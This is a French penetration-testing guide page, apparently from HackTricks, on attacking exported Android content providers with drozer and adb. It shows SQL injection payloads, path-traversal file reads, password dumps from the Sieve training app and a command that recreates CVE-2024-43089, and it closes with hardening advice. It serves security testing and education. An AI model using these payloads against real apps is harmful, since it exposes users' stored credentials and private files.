235 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Exploiter les fournisseurs de contenu
{{#include ../../../banners/hacktricks-training.md}}
## Intro
Les données sont **fournies d'une application à d'autres** sur demande par un composant connu sous le nom de **fournisseur de contenu**. Ces demandes sont gérées par les méthodes de la **classe ContentResolver**. Les fournisseurs de contenu peuvent stocker leurs données à divers endroits, tels qu'une **base de données**, des **fichiers** ou sur un **réseau**.
Dans le fichier _Manifest.xml_, la déclaration du fournisseur de contenu est requise. Par exemple :
```xml
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
```
Pour accéder à `content://com.mwr.example.sieve.DBContentProvider/Keys`, la permission `READ_KEYS` est nécessaire. Il est intéressant de noter que le chemin `/Keys/` est accessible dans la section suivante, qui n'est pas protégée en raison d'une erreur du développeur, qui a sécurisé `/Keys` mais a déclaré `/Keys/`.
**Peut-être pouvez-vous accéder à des données privées ou exploiter une vulnérabilité (Injection SQL ou Traversée de chemin).**
## Obtenir des informations à partir de **content providers exposés**
```
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
```
Il est possible de reconstituer comment atteindre le **DBContentProvider** en commençant les URIs par “_content://_”. Cette approche est basée sur des informations obtenues en utilisant Drozer, où des informations clés se trouvaient dans le _/Keys_ répertoire.
Drozer peut **deviner et essayer plusieurs URIs** :
```
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
```
Vous devriez également vérifier le **code ContentProvider** pour rechercher des requêtes :
![](<../../../images/image (121) (1) (1) (1).png>)
De plus, si vous ne trouvez pas de requêtes complètes, vous pourriez **vérifier quels noms sont déclarés par le ContentProvider** dans la méthode `onCreate` :
![](<../../../images/image (564).png>)
La requête sera comme : `content://name.of.package.class/declared_name`
## **Content Providers basés sur une base de données**
Probablement, la plupart des Content Providers sont utilisés comme **interface** pour une **base de données**. Par conséquent, si vous pouvez y accéder, vous pourriez être en mesure d'**extraire, mettre à jour, insérer et supprimer** des informations.\
Vérifiez si vous pouvez **accéder à des informations sensibles** ou essayez de les modifier pour **contourner les mécanismes d'autorisation**.
En vérifiant le code du Content Provider, **regardez** également les **fonctions** nommées comme : _query, insert, update et delete_ :
![](<../../../images/image (887).png>)
![](<../../../images/image (254) (1) (1) (1) (1) (1) (1) (1).png>)
Parce que vous serez en mesure de les appeler
### Query content
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
```
### Insérer du contenu
En interrogeant la base de données, vous apprendrez le **nom des colonnes**, puis vous pourrez insérer des données dans la DB :
![](<../../../images/image (98).png>)
![](<../../../images/image (173).png>)
_Remarque : dans insert et update, vous pouvez utiliser --string pour indiquer une chaîne, --double pour indiquer un double, --float, --integer, --long, --short, --boolean_
### Mettre à jour le contenu
En connaissant le nom des colonnes, vous pourriez également **modifier les entrées** :
![](<../../../images/image (780).png>)
### Supprimer le contenu
![](<../../../images/image (423).png>)
### **Injection SQL**
Il est simple de tester l'injection SQL **(SQLite)** en manipulant les **champs de projection** et **de sélection** qui sont passés au fournisseur de contenu.\
Lors de l'interrogation du Content Provider, il y a 2 arguments intéressants pour rechercher des informations : _--selection_ et _--projection_ :
![](<../../../images/image (784).png>)
Vous pouvez essayer de **profiter** de ces **paramètres** pour tester des **injections SQL** :
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
```
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
```
**Découverte automatique des injections SQL par Drozer**
```
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
```
## **Fournisseurs de contenu basés sur le système de fichiers**
Les fournisseurs de contenu peuvent également être utilisés pour **accéder aux fichiers :**
![](<../../../images/image (407).png>)
### Lire **le fichier**
Vous pouvez lire des fichiers à partir du fournisseur de contenu.
```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
### **Path Traversal**
Si vous pouvez accéder à des fichiers, vous pouvez essayer d'abuser d'un Path Traversal (dans ce cas, ce n'est pas nécessaire, mais vous pouvez essayer d'utiliser "_../_" et des astuces similaires).
```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
**Découverte automatique de la traversée de chemin par Drozer**
```
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
```
## Mises à jour 2023-2025 & conseils modernes
### Drozer 3.x (Python 3) est sorti
WithSecure a repris la maintenance de drozer en 2022 et a porté le framework sur **Python 3** (dernier **3.1.0 Avril 2024**).
En plus des corrections de compatibilité, de nouveaux modules particulièrement utiles lors du travail avec les Content Providers incluent :
* `scanner.provider.exported` liste uniquement les providers avec `android:exported="true"`.
* `app.provider.grant` appelle automatiquement `grantUriPermission()` afin que vous puissiez communiquer avec les providers qui attendent `FLAG_GRANT_READ_URI_PERMISSION` / `FLAG_GRANT_WRITE_URI_PERMISSION` sur Android 12+.
* Meilleure gestion du **Scoped Storage** afin que les providers basés sur des fichiers sur Android 11+ puissent toujours être atteints.
Mettez à jour (hôte & agent) :
```bash
pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
adb install drozer-agent-3.1.0.apk
```
### Utilisation de l'outil intégré `cmd content` (ADB ≥ 8.0)
Tous les appareils Android modernes sont équipés d'une CLI qui peut interroger/met à jour les fournisseurs **sans installer d'agent** :
```bash
adb shell cmd content query --uri content://com.test.provider/items/
adb shell cmd content update --uri content://com.test.provider/items/1 \
--bind price:d:1337
adb shell cmd content call --uri content://com.test.provider \
--method evilMethod --arg 'foo'
```
Combinez-le avec `run-as <pkg>` ou un shell rooté pour tester les fournisseurs réservés aux internes.
### CVEs récents du monde réel qui ont abusé des Content Providers
| CVE | Année | Composant | Classe de bug | Impact |
|-----|-------|-----------|---------------|--------|
| CVE-2024-43089 | 2024 | MediaProvider | Traversée de chemin dans `openFile()` | Lecture de fichiers arbitraires à partir du stockage privé de n'importe quelle application |
| CVE-2023-35670 | 2023 | MediaProvider | Traversée de chemin | Divulgation d'informations |
Recréez CVE-2024-43089 sur une version vulnérable :
```bash
adb shell cmd content read \
--uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml
```
### Liste de contrôle de durcissement pour API 30+
* Déclarez `android:exported="false"` à moins que le fournisseur **doit** être public à partir de l'API 31, l'attribut est obligatoire.
* Appliquez des **permissions** et/ou `android:grantUriPermissions="true"` au lieu d'exporter l'ensemble du fournisseur.
* Mettez sur liste blanche les arguments `projection`, `selection` et `sortOrder` autorisés (par exemple, construisez des requêtes avec `SQLiteQueryBuilder.setProjectionMap`).
* Dans `openFile()`, canonisez le chemin demandé (`FileUtils`) et rejetez les séquences `..` pour éviter le parcours.
* Lors de l'exposition de fichiers, préférez le **Storage Access Framework** ou un `FileProvider`.
Ces changements dans les versions récentes d'Android signifient que de nombreux primitives d'exploitation héritées fonctionnent toujours, mais nécessitent des drapeaux/permissions supplémentaires que les modules drozer mis à jour ou l'outil `cmd content` peuvent appliquer automatiquement.
## Références
- [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm)
- [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
- [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)
- [https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0](https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0)
- [https://source.android.com/security/bulletin/2024-07-01](https://source.android.com/security/bulletin/2024-07-01)
{{#include ../../../banners/hacktricks-training.md}}